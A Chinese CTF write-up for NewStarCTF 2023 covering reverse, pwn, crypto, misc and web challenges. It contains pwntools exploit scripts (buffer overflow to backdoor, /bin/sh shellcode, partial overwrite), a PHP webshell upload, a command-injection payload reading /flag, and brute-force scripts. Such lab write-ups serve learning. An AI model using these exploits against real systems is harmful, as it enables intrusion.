RE easy_RE 确实是打开就有
1 flag{we1c0me_to_rev3rse!!}
elf inputString 先异或然后+16 然后base64encode后和flag cmp,decode后-16 异或就好了
1 2 3 4 s1 = (char *)base64_encode(v6, v3); if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") ) ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 _BYTE *__fastcall encode(const char *a1) { size_t v1; // rax int v2; // eax _BYTE *v4; // [rsp+20h] [rbp-20h] int i; // [rsp+28h] [rbp-18h] int v6; // [rsp+2Ch] [rbp-14h] v1 = strlen(a1); v4 = malloc(2 * v1 + 1); v6 = 0; for ( i = 0; i < strlen(a1); ++i ) { v2 = v6++; v4[v2] = (a1[i] ^ 0x20) + 16; } v4[v6] = 0; return v4; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import base64def custom_base64_decode (encoded_str ): custom_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" standard_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" translation = str .maketrans(custom_base64_chars, standard_base64_chars) return base64.b64decode(encoded_str.translate(translation)) def xor (encoded_bytes ): decoded_chars = [] for byte in encoded_bytes: char = chr ((byte - 16 ) ^ 0x20 ) decoded_chars.append(char) return '' .join(decoded_chars) encoded_str = "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t" print (xor(custom_base64_decode(encoded_str)))
1 flag{D0_4ou_7now_wha7_ELF_1s?}
咳 die查壳是upx4.0.2 , 在这里下载https://github.com/upx/upx/releases
然后upx -d filename 脱壳
1 2 3 4 5 6 7 8 for ( i = 0 i64; ; ++i ){ v4 = &Str1[strlen (Str1)]; if ( i >= v4 - Str1 ) break ; ++Str1[i]; } if ( !strncmp (Str1, enc, v4 - Str1) )
gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~
大概是吧str1全部++了一边 –回去就好了
1 2 3 4 5 flag = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~" flag = [c for c in flag] for i in range(len(flag)): flag[i] = chr(ord(flag[i]) - 1) print(flag[i] , end="")
1 flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}
Segments shift_f7 打开段视图,然后拼接flag
1 flag{You_ar3_g0od_at_f1nding_ELF_segments_name}
AndroXor 关键逻辑在这里,能看到长度,还有异或的操作,只需要根据happyx3 还有 cArr置反就能得到inputString
1 2 3 4 5 6 7 8 9 10 11 12 13 public String Xor (String str, String str2) { char [] cArr = {14 , '\r' , 17 , 23 , 2 , 'K' , 'I' , '7' , ' ' , 30 , 20 , 'I' , '\n' , 2 , '\f' , '>' , '(' , '@' , 11 , '\'' , 'K' , 'Y' , 25 , 'A' , '\r' }; char [] cArr2 = new char [str.length()]; String str3 = str.length() != 25 ? "wrong!!!" : "you win!!!" ; for (int i = 0 ; i < str.length(); i++) { char charAt = (char ) (str.charAt(i) ^ str2.charAt(i % str2.length())); cArr2[i] = charAt; if (cArr[i] != charAt) { return "wrong!!!" ; } } return str3; }
1 Toast.makeText(mainActivity, mainActivity.Xor(obj, "happyx3" ), 1 ).show();
1 2 3 4 5 str2 = "happyx3" cArr = [14 , '\r' , 17 , 23 , 2 , 'K' , 'I' , '7' , ' ' , 30 , 20 , 'I' , '\n' , 2 , '\f' , '>' , '(' , '@' , 11 , '\'' , 'K' , 'Y' , 25 , 'A' , '\r' ] str1 = '' .join([chr (cArr[i] ^ ord (str2[i % len (str2)])) if isinstance (cArr[i], int ) else chr (ord (cArr[i]) ^ ord (str2[i % len (str2)])) for i in range (len (cArr))]) print (str1)
1 flag{3z_And0r1d_X0r_x1x1}
Endian 这里v5是个指针来的,一开始看有些怪,过一会就懂了。需要再异或一次,然后按字节拆分数字,小端序转大端序就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { int i; char *v5; char v6[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); puts ("please input your flag" ); __isoc99_scanf("%s" , v6); v5 = v6; for ( i = 0 ; i <= 4 ; ++i ) { if ( *(_DWORD *)v5 != (array [i] ^ 0x12345678 ) ) { printf ("wrong!" ); exit (0 ); } v5 += 4 ; } printf ("you are right" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def process_and_combine (hex_values ): xor_results = [hex (int (value, 16 ) ^ 0x12345678 ) for value in hex_values] reversed_strings = [] for xor_result in xor_results: xor_result = xor_result[2 :].rjust(8 , '0' ) result_string = "" .join([chr (int (xor_result[i:i + 2 ], 16 )) for i in range (0 , 8 , 2 )]) reversed_strings.append(result_string[::-1 ]) combined_string = "" .join(reversed_strings) return combined_string flag = ["75553A1E" , "7B583A03" , "4D58220C" , "7B50383D" , "736B3819" ] inputString = process_and_combine(flag) print (inputString)
EzPE 修复pe头的话,找个exe 010edit从开始到0x70h那一行粘贴一下,就好了
异或置反一下就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 data = [ 0x0A , 0x0C , 0x04 , 0x1F , 0x26 , 0x6C , 0x43 , 0x2D , 0x3C , 0x0C , 0x54 , 0x4C , 0x24 , 0x25 , 0x11 , 0x06 , 0x05 , 0x3A , 0x7C , 0x51 , 0x38 , 0x1A , 0x03 , 0x0D , 0x01 , 0x36 , 0x1F , 0x12 , 0x26 , 0x04 , 0x68 , 0x5D , 0x3F , 0x2D , 0x37 , 0x2A , 0x7D ] input_recovered = [0 ] * len (data) input_recovered[-1 ] = data[-1 ] for i in range (len (data) - 2 , -1 , -1 ): input_recovered[i] = data[i] ^ (i ^ input_recovered[i + 1 ]) for i in input_recovered: print (chr (i),end="" )
1 flag{Y0u_kn0w_what_1s_PE_File_F0rmat}
lazy_activtiy activtiy是提供用户界面,可以使用户交互的,程序中有个flag activtiy但是主界面没有什么地方能够调用这个activity的搜了一下可以用
1 am start -n com.droidlearn.activity_travel/com.droidlearn.activity_travel.FlagActivity
这个命令adb shell的命令来调用一个应用的activtiy
这边是flag activity的关键逻辑,可以反编译然后将10000改成1就好了。但是折腾了好久apktools反编译打包有问题,还有签名那,后面找了一个安卓修改大师破解版,一键打包签名就正常了
1 2 3 4 5 6 7 public void onClick (View view) { textView.setText(Integer.toString(FlagActivity.access$004 (FlagActivity.this ))); if (FlagActivity.this .cnt >= 10000 ) { Toast.makeText(FlagActivity.this , editText.getText().toString(), 0 ).show(); } }
1 flag{Act1v1ty_!s_so00oo0o_Impor#an#}
pwn ret2text 有个backdoor函数,溢出后跳过去就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *elf = context.binary = ELF('./ret2text' ) ip = "node4.buuoj.cn" port = 29750 p = remote(ip,port) line = p.recvline(); print (line) line = p.recvline(); print (line) backdoor_address = 0x4011FB payload = b'a' * (32 + 8 ) paylaod += backdoor_adress p.sendline(payload) p.interactive()
ezshellcode shellcode输入后会直接jmp到buf那,所以只需要把shellcode输入就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *elf = context.binary = ELF('./ezshellcode' ) ip = "node4.buuoj.cn" port = 29750 p = remote(ip,port) context(arch='amd64' , os='linux' ) line = p.recvline(); print (line) line = p.recvline(); print (line) shellcode = asm(shellcraft.sh()) payload = shellcode p.sendline(payload) p.interactive()
newstar shop 选1进商店买到没钱然后选3 -50后,uint溢出就能直接买/bin sh了
1 flag{8b42af7c-c695-489a-ad79-1bff9d84f52c}
p1eee 咱是笨蛋,习惯性看ida中的函数视图了,没注意到关键函数下面有个用_asm{}写的直接system bin sh的块,pie的话低三位16进制的地址是不变的,所以只需要在return位置那填充低位地址,根据原有的高位地址,就能跳过去。
1 2 3 4 5 6 7 8 9 10 .text:0000000000001264 ; __unwind { .text:0000000000001264 endbr64 .text:0000000000001268 push rbp .text:0000000000001269 mov rbp, rsp .text:000000000000126C lea rdi, aBinSh ; "/bin/sh" .text:0000000000001273 call _system .text:0000000000001278 nop .text:0000000000001279 pop rbp .text:000000000000127A retn .text:000000000000127A ; } // starts at 1264
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *elf = context.binary = ELF('./p1eee' ) ip = "node4.buuoj.cn" port = 26886 context.log_level = 'debug' p = remote(ip,port) line = p.recvline(); print (line) payload = b'a' * (32 + 8 ) + p8(0x6C ) p.sendline(payload) p.interactive()
1 flag{cc6d8d8e-cae4-4f5d-88b5-8ddd66f66a2c}
Random 可以用ctypes 调用libc中的time srand rand函数,校园网好卡,去外边才打通了,要多跑几遍,随机数拼凑字符对了才可以
https://blog.csdn.net/qq_29912475/article/details/130319284
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *import ctypeself = context.binary = ELF('./Random' ) context.log_level = 'debug' libc = ctypes.CDLL("libc.so.6" ) ip = "node4.buuoj.cn" port = 25248 p = remote(ip,port) libc.time.restype = ctypes.c_long libc.srand.argtypes = [ctypes.c_uint] time_value = ctypes.c_longlong(0 ) seed = libc.time(ctypes.byref(time_value)) libc.srand(seed) rand_result = libc.rand() line = p.recvline(); print (line) p.sendline(str (rand_result)) p.interactive()
1 flag{f5be13ec-f7f0-4dea-ab64-31470e102fbf}
Crypto brainfuck 可以用这个解密 https://ctf.bugku.com/tool/brainfuck
1 flag{Oiiaioooooiai#b7c0b1866fe58e12}
Caesar’s Secert 想到偏移量,凯撒密码,https://ctf.bugku.com/tool/caesar 偏移5解出flag
1 flag{ca3s4r's_c1pher_i5_v4ry_3azy}
Fence 栅栏密码 https://www.qqxiuzi.cn/bianma/zhalanmima.php 解密
1 flag{reordering_the_plaintext#686f8c03}
Vigenère 1 2 3 4 5 6 7 8 9 10 11 12 13 14 def vigenere_decrypt_single (char_ciphertext, char_plaintext ): alphabet = "abcdefghijklmnopqrstuvwxyz" index_ciphertext = alphabet.index(char_ciphertext) index_plaintext = alphabet.index(char_plaintext) index_key = (index_ciphertext - index_plaintext) % 26 return alphabet[index_key] ciphertext = "pqcq" plaintext = "flag" key = "" .join([vigenere_decrypt_single(ciphertext[i], plaintext[i]) for i in range (4 )]) print (key)
跑出来是kfck, 猜测是kfckfc,用kfc解密后拿到flag
flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}
babyrsa Q&A:
1选择N = p * q是因为N有能够唯一分解成p q两个因子的特性
2为什么φ(p) =(p-1)?
是因为p是素数这个特性,所以和p互质的数是p-1个
3 ed≡1(mod φ(N)) 这个是根据扩欧几里得推导出来的
扩欧几里得的定义是 能找到整数x ,y 使得ax + by = gcd(a,b)
e和d是互质的,所以使得 ex + φ(N)y = 1 然后φ(N)y = 0,所以就算出ed≡1(mod φ(N))
http://www.factordb.com/index.php 可以用这个在线的网站分解n,然后求phi n,通过phi n求e的逆元d解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from Crypto.Util.number import long_to_bytesdef calculate_phi_n (factors ): phi_n = 1 for p in factors: phi_n *= (p - 1 ) return phi_n def modinv (a, m ): g, x, y = extended_gcd(a, m) return x % m def extended_gcd (a, b ): if a == 0 : return (b, 0 , 1 ) else : g, y, x = extended_gcd(b % a, a) return (g, x - (b // a) * y, y) def rsa_decrypt (c, n, e, factors ): phi_n = calculate_phi_n(factors) d = modinv(e, phi_n) m = pow (c, d, n) return long_to_bytes(m).decode() n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261 e = 65537 c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595 factors = [ 2217990919 , 2338725373 , 2370292207 , 2463878387 , 2706073949 , 2794985117 , 2804303069 , 2923072267 , 2970591037 , 3207148519 , 3654864131 , 3831680819 , 3939901243 , 4093178561 , 4278428893 ] decrypted_message = rsa_decrypt(c, n, e, factors) print (decrypted_message)
babyencoding part1 和part2有=号,然后part1是大小写字母加数字,2是纯大写字母,应该是base64和32.
part3搜了好久,在这篇文章中找到了https://blog.csdn.net/Retrovich/article/details/90313591 是uuencode编码,在线解密拼接得到flag
1 flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
后面去看了一下群里的crypto入门的文档,发现里面就有uuencode的识别方法
Small d Michael J. Wiener 觉得很赞 这个搜了一下,有一种针对small d的攻击方式叫维纳攻击
https://blog.csdn.net/rreally/article/details/111092579
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import gmpy2def transform (x, y ): res = [] while y: res.append(x // y) x, y = y, x % y return res def continued_fraction (sub_res ): numerator, denominator = 1 , 0 for i in sub_res[::-1 ]: denominator, numerator = numerator, i * numerator + denominator return denominator, numerator def sub_fraction (x, y ): res = transform(x, y) res = list (map (continued_fraction, (res[0 :i] for i in range (1 , len (res))))) return res def get_pq (a, b, c ): par = gmpy2.isqrt(b * b - 4 * a * c) x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a) return x1, x2 def wienerAttack (e, n ): for (d, k) in sub_fraction(e, n): if k == 0 : continue if (e * d - 1 ) % k != 0 : continue phi = (e * d - 1 ) // k px, qy = get_pq(1 , n - phi + 1 , n) if px * qy == n: p, q = abs (int (px)), abs (int (qy)) d = gmpy2.invert(e, (p - 1 ) * (q - 1 )) return d print ("该方法不适用" ) e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825 n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433 d = wienerAttack(e, n) print ("d=" , d)
求出d后解密flag
1 2 3 4 5 6 7 8 9 from Crypto.Util.number import *c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248 e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825 n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433 d = 2357048593 flag = pow (c,d,n) print (long_to_bytes(flag))
babyxor flag按字节异或上f,需要爆破f,f的范围是一个字节0-255,把0-255按字节异或上c跑一遍就好了
1 2 3 4 5 6 7 8 c = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2" c = bytes .fromhex(c) flag = "" for key in range (256 ): flag = bytes ([b ^ key for b in c]) if b"flag" in flag: print (flag)
Affine 仿射密码,这里要求解的问题是 置反(key[0]*f + key[1]) % modulus 这个操作
可以简化成m = (c -key[1]) * key[0]的模逆,用扩欧几里得来求模逆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from itertools import productc = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064" c = bytes .fromhex(c) def modinv (a, m ): for i in range (1 , m): if (a * i) % m == 1 : return i return None for k0, k1 in product(range (256 ), repeat=2 ): k0_inv = modinv(k0, 256 ) if k0_inv is None : continue decrypted = [] for b in c: f = ((b - k1) * k0_inv) % 256 decrypted.append(f) flag = str (bytes (decrypted)) if "flag" in flag: print (flag)
babyaes key是由两个相同的长度16字节的字符串组成,bytes_to_long(key) ^ bytes_to_long(iv) ^ 1这里只异或了key的16字节,所以可以算出key,然后用key的低位异或可以算出iv,用iv 和key 使用aes cbc mode就能解出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from Crypto.Cipher import AESfrom Crypto.Util.number import *xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229 flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i' xor = long_to_bytes(xor) key = xor[:16 ]*2 iv = bytes_to_long(key[16 :]) ^ bytes_to_long(xor[16 :]) iv = long_to_bytes(iv) aes = AES.new(key,AES.MODE_CBC,iv) flag = aes.decrypt(flag) print (flag)
Misc CyberChef’s Secret base32 -> base58 ->base64
1 flag{Base_15_S0_Easy_^_^}
机密图片 lsb隐写
1 flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}
流量!鲨鱼! 看了一下,很多无用http的数据包 用http.response.code == 200筛选后,找到这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 GET /1.php?cmd=base64%20/.ffffllllllll11111144444GGGGGG|base64 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Cookie: PHPSESSID=85usgbksv9rn85kdcsgu5j0903 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 HTTP/1.1 200 OK Date: Sat, 19 Aug 2023 06:20:45 GMT Server: Apache/2.4.51 (Debian) X-Powered-By: PHP/7.3.33 Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=
然后base64解密两次,拿到flag
1 flag{Wri35h4rk_1s_u53ful_b72a609537e6}
压缩包们 https://www.cnblogs.com/Hardworking666/p/15866121.html
https://blog.csdn.net/q20010619/article/details/109425270
搜了一下,缺个zip头 https://blog.csdn.net/qq_29566629/article/details/122936177
加上50 4B 03 04后解压,发现结尾有一串base64编码,解密后提示密码是6位数的,
用ARCHPR破解有些问题,搜了一下装了一个Ziperello,破解后拿到flag
1 flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}
空白格 在这篇文章找到了解决方法
https://blog.csdn.net/qq_51999772/article/details/122418926
https://vii5ard.github.io/whitespace/
运行得到flag
1 flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}
隐秘的眼睛 silenteye 下载这个工具,然后解密拿到flag
https://www.sqlsec.com/2018/01/ctfwav.html#SilentEye
https://achorein.github.io/silenteye/
1 flag{R0ck1ng_y0u_63b0dc13a591}
web 泄漏的秘密 用dirmap 发现有个www.zip 和robot 拼接index中的flag和robots的flag后得到flag
1 flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
Begin of Upload 有段js的代码检测上传的类型,在firefox里面把js禁用后就能上传php文件了
用一句话木马加蚁剑在根目录下找到flag
1 flag{e9ed8544-e37e-4c4a-ac21-d7cacf157dbf}
Begin of HTTP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /?ctf=1 HTTP/1.1 Host: node4.buuoj.cn:2866 User-Agent: NewStarCTF2023 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 28 Origin: newstarctf.com DNT: 1 Connection: close Referer: newstarctf.com Cookie: power=ctfer X-Real-IP: 127.0.0.1 Upgrade-Insecure-Requests: 1 secret=n3wst4rCTF2023g00000d
1 flag{5937a957-5910-4eec-91c3-84e1a8911d97}
ErrorFlask https://www.freebuf.com/articles/network/247503.html
根据提示,用空参数的时候flask就报错了,就把flag泄露出来了
1 http://98e6da3a-09a5-40e7-bac4-776d4dd52435.node4.buuoj.cn:81/?number1=1&number2=
1 flag = "flag{Y0u_@re_3enset1ve_4bout_deb8g}"
报错的地方在这里,空参数的时候request.args.get会返回’’ 然后int转型就会报错
1 2 3 4 num1 = request.args.get("number1"); num2 = request.args.get("number2"); return "not ssti,flag in source code~"+str(int(num1)+int(num2))
Begin of PHP level1用0e绕过 level2传数组过去 level3传数组过去,level4加一个url编码is_numberic就识别不出来了,level5传一个符号就好了
https://blog.csdn.net/qq_46145027/article/details/124514124
https://www.cnblogs.com/zhengna/p/12342124.html
https://www.cnblogs.com/Primzahl/p/6018158.html
1 2 3 http://34cb9ad6-2b68-4fd9-a2fc-9a6698c8b0c5.node4.buuoj.cn:81/?key1=QNKCDZO&key2=s878926199a&key4[]=1&key5=2024%20 post: key3[]=@&flag5[]=@
1 flag{3a48262b-ac99-4f09-85ed-9ac23cec050e}
R!C!E! password爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibimport itertoolsimport stringimport threadingTARGET_PREFIX = "c4d038" MAX_LENGTH = 6 CHARSET = string.ascii_lowercase + string.digits THREADS = 4 def generate_strings (length ): return itertools.product(CHARSET, repeat=length) def md5 (s ): return hashlib.md5(s.encode()).hexdigest() def check_string (start, end ): for s in itertools.islice(generate_strings(MAX_LENGTH), start, end): if md5('' .join(s)).startswith(TARGET_PREFIX): print (f"Found: {'' .join(s)} " ) return '' .join(s) return None def threaded_bruteforce (): total_combinations = len (CHARSET) ** MAX_LENGTH step = total_combinations // THREADS threads = [] for i in range (THREADS): start = i * step end = (i + 1 ) * step if i != THREADS - 1 else total_combinations t = threading.Thread(target=check_string, args=(start, end)) threads.append(t) t.start() for t in threads: t.join() if __name__ == "__main__" : print (md5("apofox" ))
非法变量名的转换 https://www.cnblogs.com/meng-han/p/16804708.html
phpinfo发现可以用拼接函数的方式绕过 https://blog.csdn.net/LYJ20010728/article/details/117469219
1 password=apofox&e[v.a.l=(sy.(st).em)("ca"."t /fla"."g");
EasyLogin 注册个账户后登录时候有个302的包显示这个,这个是个假的
1 2 3 4 <!-- 恭喜你找到flag --> <!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 --> <!-- https://b23.tv/BV1SD4y1J7uY --> <!-- 庆祝一下吧! -->
后面尝试去爆破admin,用burp中的brute forcer然后套md5爆破,爆破出来的密码是000000,然后有个302的包里面有flag
1 flag{3e7dd426-5475-4789-9605-b1fac334af0f}